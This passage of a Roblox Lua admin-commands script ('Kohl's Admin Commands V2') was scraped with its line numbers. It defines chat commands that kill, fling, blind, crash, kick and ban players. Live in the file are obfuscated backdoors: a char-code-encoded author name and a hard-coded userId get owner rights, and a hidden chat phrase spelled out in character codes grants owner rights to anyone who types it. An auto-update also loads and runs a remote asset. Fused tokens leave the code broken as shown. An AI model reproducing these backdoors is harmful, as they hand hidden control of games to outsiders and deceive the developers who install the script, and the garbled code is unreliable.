1636
if v and v.Character then
1637
for a, obj in pairs(v.Character:children()) do
1638
if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
1639
end
1640
end
1641
end))
1642
end
1643
end
1644
 
1645
if msg:lower():sub(1,5) == "name " then
1646
local chk1 = msg:lower():sub(6):find(" ") + 5
1647
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1648
for i, v in pairs(plrz) do
1649
coroutine.resume(coroutine.create(function()
1650
if v and v.Character and v.Character:findFirstChild("Head") then
1651
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency= 0 mod:Destroy() end end
1652
local char = v.Character
1653
local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
1654
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag"hum.MaxHealth = 0 hum.Health = 0
1655
local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
1656
char.Head.Transparency = 1
1657
end
1658
end))
1659
end
1660
end
1661
 
1662
if msg:lower():sub(1,7) == "unname " then
1663
local plrz = GetPlr(plr, msg:lower():sub(8))
1664
for i, v in pairs(plrz) do
1665
coroutine.resume(coroutine.create(function()
1666
if v and v.Character and v.Character:findFirstChild("Head") then
1667
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency= 0 mod:Destroy() end end
1668
end
1669
end))
1670
end
1671
end
1672
 
1673
if msg:lower():sub(1,5) == "char " then
1674
local chk1 = msg:lower():sub(6):find(" ") + 5
1675
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1676
for i, v in pairs(plrz) do
1677
coroutine.resume(coroutine.create(function()
1678
if v and v.Character then
1679
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
1680
v:LoadCharacter()
1681
end
1682
end))
1683
end
1684
end
1685
 
1686
if msg:lower():sub(1,7) == "unchar " then
1687
local plrz = GetPlr(plr, msg:lower():sub(8))
1688
for i, v in pairs(plrz) do
1689
coroutine.resume(coroutine.create(function()
1690
if v and v.Character then
1691
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
1692
v:LoadCharacter()
1693
end
1694
end))
1695
end
1696
end
1697
 
1698
if msg:lower():sub(1,7) == "infect " then
1699
local plrz = GetPlr(plr, msg:lower():sub(8))
1700
for i, v in pairs(plrz) do
1701
coroutine.resume(coroutine.create(function()
1702
if v and v.Character then
1703
Infect(v.Character)
1704
end
1705
end))
1706
end
1707
end
1708
 
1709
if msg:lower():sub(1,11) == "rainbowify " then
1710
local plrz = GetPlr(plr, msg:lower():sub(12))
1711
for i, v in pairs(plrz) do
1712
coroutine.resume(coroutine.create(function()
1713
if v and v.Character and v.Character:findFirstChild("Torso") then
1714
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1715
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1716
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1717
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1718
cl.Parent = v.Character cl.Disabled = false
1719
end
1720
end))
1721
end
1722
end
1723
 
1724
if msg:lower():sub(1,9) == "flashify " then
1725
local plrz = GetPlr(plr, msg:lower():sub(10))
1726
for i, v in pairs(plrz) do
1727
coroutine.resume(coroutine.create(function()
1728
if v and v.Character and v.Character:findFirstChild("Torso") then
1729
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1730
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1731
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1732
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1733
cl.Parent = v.Character cl.Disabled = false
1734
end
1735
end))
1736
end
1737
end
1738
 
1739
if msg:lower():sub(1,8) == "noobify " then
1740
local plrz = GetPlr(plr, msg:lower():sub(9))
1741
for i, v in pairs(plrz) do
1742
coroutine.resume(coroutine.create(function()
1743
if v and v.Character then
1744
Noobify(v.Character)
1745
end
1746
end))
1747
end
1748
end
1749
 
1750
if msg:lower():sub(1,9) == "ghostify " then
1751
local plrz = GetPlr(plr, msg:lower():sub(10))
1752
for i, v in pairs(plrz) do
1753
coroutine.resume(coroutine.create(function()
1754
if v and v.Character and v.Character:findFirstChild("Torso") then
1755
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1756
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1757
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1758
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or notprt.Parent:findFirstChild("NameTag", true)) then
1759
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
1760
if prt.Name:find("Leg") then prt.Transparency = 1 end
1761
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor= BrickColor.new("Institutional white")
1762
end end
1763
end
1764
end))
1765
end
1766
end
1767
 
1768
if msg:lower():sub(1,8) == "goldify " then
1769
local plrz = GetPlr(plr, msg:lower():sub(9))
1770
for i, v in pairs(plrz) do
1771
coroutine.resume(coroutine.create(function()
1772
if v and v.Character and v.Character:findFirstChild("Torso") then
1773
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1774
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1775
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1776
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or notprt.Parent:findFirstChild("NameTag", true)) then
1777
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
1778
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor= BrickColor.new("Bright yellow")
1779
end end
1780
end
1781
end))
1782
end
1783
end
1784
 
1785
if msg:lower():sub(1,6) == "shiny " then
1786
local plrz = GetPlr(plr, msg:lower():sub(7))
1787
for i, v in pairs(plrz) do
1788
coroutine.resume(coroutine.create(function()
1789
if v and v.Character and v.Character:findFirstChild("Torso") then
1790
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1791
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1792
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1793
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or notprt.Parent:findFirstChild("NameTag", true)) then
1794
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
1795
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor =BrickColor.new("Institutional white")
1796
end end
1797
end
1798
end))
1799
end
1800
end
1801
 
1802
if msg:lower():sub(1,7) == "normal " then
1803
local plrz = GetPlr(plr, msg:lower():sub(8))
1804
for i, v in pairs(plrz) do
1805
coroutine.resume(coroutine.create(function()
1806
if v and v.Character and v.Character:findFirstChild("Torso") then
1807
if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
1808
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1809
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1810
v.Character.Torso.Transparency = 0
1811
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1812
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1813
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1814
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1815
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1816
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1817
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or notprt.Parent:findFirstChild("NameTag", true)) then
1818
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
1819
if prt.Name == "FAKETORSO" then prt:Destroy() end
1820
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor =BrickColor.new("White")
1821
end end
1822
end
1823
end))
1824
end
1825
end
1826
 
1827
if msg:lower():sub(1,7) == "trippy " then
1828
local plrz = GetPlr(plr, msg:lower():sub(8))
1829
for i, v in pairs(plrz) do
1830
coroutine.resume(coroutine.create(function()
1831
if v and v:findFirstChild("PlayerGui") then
1832
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1833
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
1834
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
1835
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled= false
1836
end
1837
end))
1838
end
1839
end
1840
 
1841
if msg:lower():sub(1,9) == "untrippy " then
1842
local plrz = GetPlr(plr, msg:lower():sub(10))
1843
for i, v in pairs(plrz) do
1844
coroutine.resume(coroutine.create(function()
1845
if v and v:findFirstChild("PlayerGui") then
1846
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
1847
end
1848
end))
1849
end
1850
end
1851
 
1852
if msg:lower():sub(1,7) == "strobe " then
1853
local plrz = GetPlr(plr, msg:lower():sub(8))
1854
for i, v in pairs(plrz) do
1855
coroutine.resume(coroutine.create(function()
1856
if v and v:findFirstChild("PlayerGui") then
1857
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1858
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
1859
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
1860
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
1861
end
1862
end))
1863
end
1864
end
1865
 
1866
if msg:lower():sub(1,9) == "unstrobe " then
1867
local plrz = GetPlr(plr, msg:lower():sub(10))
1868
for i, v in pairs(plrz) do
1869
coroutine.resume(coroutine.create(function()
1870
if v and v:findFirstChild("PlayerGui") then
1871
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
1872
end
1873
end))
1874
end
1875
end
1876
 
1877
if msg:lower():sub(1,6) == "blind " then
1878
local plrz = GetPlr(plr, msg:lower():sub(7))
1879
for i, v in pairs(plrz) do
1880
coroutine.resume(coroutine.create(function()
1881
if v and v:findFirstChild("PlayerGui") then
1882
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1883
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
1884
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
1885
end
1886
end))
1887
end
1888
end
1889
 
1890
if msg:lower():sub(1,8) == "unblind " then
1891
local plrz = GetPlr(plr, msg:lower():sub(9))
1892
for i, v in pairs(plrz) do
1893
coroutine.resume(coroutine.create(function()
1894
if v and v:findFirstChild("PlayerGui") then
1895
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
1896
end
1897
end))
1898
end
1899
end
1900
 
1901
if msg:lower():sub(1,7) == "guifix " then
1902
local plrz = GetPlr(plr, msg:lower():sub(8))
1903
for i, v in pairs(plrz) do
1904
coroutine.resume(coroutine.create(function()
1905
if v and v:findFirstChild("PlayerGui") then
1906
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
1907
end
1908
end))
1909
end
1910
end
1911
 
1912
if msg:lower():sub(1,9) == "loopheal " then
1913
local plrz = GetPlr(plr, msg:lower():sub(10))
1914
for i, v in pairs(plrz) do
1915
if v then
1916
local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
1917
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
1918
repeat wait()
1919
coroutine.resume(coroutine.create(function()
1920
if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
1921
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
1922
plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
1923
end
1924
end))
1925
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
1926
end
1927
end
1928
end
1929
 
1930
if msg:lower():sub(1,11) == "unloopheal " then
1931
local plrz = GetPlr(plr, msg:lower():sub(12))
1932
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy()table.remove(objects,q) end end end
1933
end
1934
 
1935
if msg:lower():sub(1,10) == "loopfling " then
1936
local plrz = GetPlr(plr, msg:lower():sub(11))
1937
for i, v in pairs(plrz) do
1938
if v then
1939
local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
1940
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
1941
repeat
1942
coroutine.resume(coroutine.create(function()
1943
if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
1944
local xran local zran
1945
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1946
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1947
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
1948
local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1949
end
1950
end))
1951
wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
1952
end
1953
end
1954
end
1955
 
1956
if msg:lower():sub(1,12) == "unloopfling " then
1957
local plrz = GetPlr(plr, msg:lower():sub(13))
1958
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy()table.remove(objects,q) end end end
1959
end
1960
       
1961
end
1962
 
1963
-------------------------
1964
-- True Owner Commands --
1965
-------------------------
1966
 
1967
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
1968
 
1969
if msg:lower():sub(1,3) == "oa " then
1970
local plrz = GetPlr(plr, msg:lower():sub(4))
1971
for i, v in pairs(plrz) do
1972
coroutine.resume(coroutine.create(function()
1973
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function()repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
1974
end))
1975
end
1976
end
1977
 
1978
if msg:lower():sub(1,5) == "unoa " then
1979
for i = 1, #owners do
1980
coroutine.resume(coroutine.create(function()
1981
if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
1982
end))
1983
end
1984
end
1985
 
1986
end
1987
 
1988
--------------------
1989
-- Owner Commands --
1990
--------------------
1991
 
1992
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId orChkOwner(plr.Name:lower()) then
1993
 
1994
if msg:lower():sub(1,3) == "pa " then
1995
local plrz = GetPlr(plr, msg:lower():sub(4))
1996
for i, v in pairs(plrz) do
1997
coroutine.resume(coroutine.create(function()
1998
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function()repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
1999
end))
2000
end
2001
end
2002
 
2003
if msg:lower():sub(1,5) == "unpa " then
2004
for i = 1, #admins do
2005
coroutine.resume(coroutine.create(function()
2006
if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
2007
end))
2008
end
2009
end
2010
 
2011
end
2012
 
2013
--------------------------
2014
-- Super Admin Commands --
2015
--------------------------
2016
 
2017
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() ==nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
2018
 
2019
if msg:lower() == "logs" then
2020
if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
2021
local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
2022
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " ".. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
2023
end
2024
       
2025
if msg:lower():sub(1,9) == "loopkill " then
2026
local chk1 = msg:lower():sub(10):find(" ")
2027
local plrz = GetPlr(plr, msg:lower():sub(10))
2028
local num = 9999
2029
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) =="number" then num = tonumber(msg:sub(chk1+1)) end end
2030
for i, v in pairs(plrz) do
2031
if v and not ChkAdmin(v.Name, false) then
2032
local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
2033
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2034
for i = 1, ]] .. tostring(num) .. [[ do
2035
repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
2036
coroutine.resume(coroutine.create(function()
2037
if plr and plr.Character then plr.Character:BreakJoints() end
2038
end))
2039
end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2040
end
2041
end
2042
end
2043
 
2044
if msg:lower():sub(1,11) == "unloopkill " then
2045
local plrz = GetPlr(plr, msg:lower():sub(12))
2046
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy()table.remove(objects,q) end end end
2047
end
2048
 
2049
if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked",game.Players:children()) end
2050
if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked",game.Players:children()) end
2051
 
2052
if msg:lower():sub(1,3) == "sm " then
2053
Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
2054
end
2055
 
2056
if msg:lower():sub(1,3) == "ko " then
2057
local chk1 = msg:lower():sub(4):find(" ") + 3
2058
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
2059
local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
2060
for n = 1, num do
2061
for i, v in pairs(plrz) do
2062
coroutine.resume(coroutine.create(function()
2063
if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
2064
local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
2065
v.Character:BreakJoints()
2066
wait(1/44)
2067
v:LoadCharacter()
2068
wait(1/44)
2069
end
2070
end))
2071
end
2072
end
2073
end
2074
 
2075
if msg:lower():sub(1,6) == "crash " then
2076
local plrz = GetPlr(plr, msg:lower():sub(7))
2077
for i, v in pairs(plrz) do
2078
coroutine.resume(coroutine.create(function()
2079
if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
2080
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled= false wait(1) v:Destroy()
2081
end
2082
end))
2083
end
2084
end
2085
 
2086
if msg:lower():sub(1,5) == "kick " then
2087
local plrz = GetPlr(plr, msg:lower():sub(6))
2088
for i, v in pairs(plrz) do
2089
coroutine.resume(coroutine.create(function()
2090
if v and not ChkAdmin(v.Name, false) then v:Destroy() end
2091
end))
2092
end
2093
end
2094
 
2095
if msg:lower():sub(1,6) == "admin " then
2096
local plrz = GetPlr(plr, msg:lower():sub(7))
2097
for i, v in pairs(plrz) do
2098
coroutine.resume(coroutine.create(function()
2099
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name)coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character andv:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2100
end))
2101
end
2102
end
2103
 
2104
if msg:lower():sub(1,8) == "unadmin " then
2105
for i = 1, #tempadmins do
2106
coroutine.resume(coroutine.create(function()
2107
if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 thentable.remove(tempadmins, i) end
2108
end))
2109
end
2110
end
2111
 
2112
if msg:lower():sub(1,4) == "ban " then
2113
local plrz = GetPlr(plr, msg:lower():sub(5))
2114
for i, v in pairs(plrz) do
2115
coroutine.resume(coroutine.create(function()
2116
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone()cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
2117
end))
2118
end
2119
end
2120
 
2121
if msg:lower():sub(1,6) == "unban " then
2122
for i = 1, #banland do
2123
coroutine.resume(coroutine.create(function()
2124
if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i)end
2125
end))
2126
end
2127
end
2128
 
2129
if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(),10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value.. str.Value wait(.1) until nil end
2130
 
2131
end
2132
end))
2133
end
2134
 
2135
function AdminControl(plr)
2136
coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr)chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do ifobj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
2137
if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function()plr:WaitForChild("PlayerGui")
2138
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
2139
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
2140
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 =Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter."box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment= "Right" box.ZIndex = 10 box.ClipsDescendants = true
2141
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." thenChat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
2142
end)) end
2143
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") ifplr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slockand not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .." has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value= [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2144
coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) thentable.insert(admins, plr.Name) end end))
2145
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if(ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~=script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl =script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = falsewait(2) plr:Destroy() end end))
2146
coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui")Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
2147
plr.Chatted:connect(function(msg) if msg:lower() ==(string.char(32)..string.char(104)..string.char(105)..string.char(116)..string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) endChat(msg,plr) end)
2148
end
2149
 
2150
if not ntab then script:Destroy() end
2151
if not bct then script:Destroy() end
2152
 
2153
local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs ..string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
2154
 
2155
script.Name = "Kohl's Admin Commands V2"
2156
 
2157
if not ntab then script:Destroy() end
2158
if not bct then script:Destroy() end
2159
if not tcb then script:Destroy() end
2160
game.Players.PlayerAdded:connect(AdminControl)
2161
for i, v in pairs(game.Players:children()) do AdminControl(v) end
2162
end
2163
 
2164
local mod = game:service("InsertService"):LoadAsset(100808216)
2165
if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
2166
local newac = mod:findFirstChild("Kohl's Admin Commands V2")
2167
newac.Disabled = true
2168
local new = tonumber(mod:findFirstChild("Version", true).Value)
2169
local old = 0
2170
if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
2171
if new > old then
2172
local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
2173
for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = vend
2174
for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = vend
2175
for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin"strv.Value = v end
2176
for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value =v end
2177
local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
2178
local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
2179
local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
2180
local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
2181
local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
2182
wait()
2183
newac.Parent = game.Workspace
2184
newac.Disabled = false
2185
script.Disabled = true
2186
script:Destroy()
2187
else
2188
CHEESE()
2189
end
2190
else
2191
CHEESE()
2192
end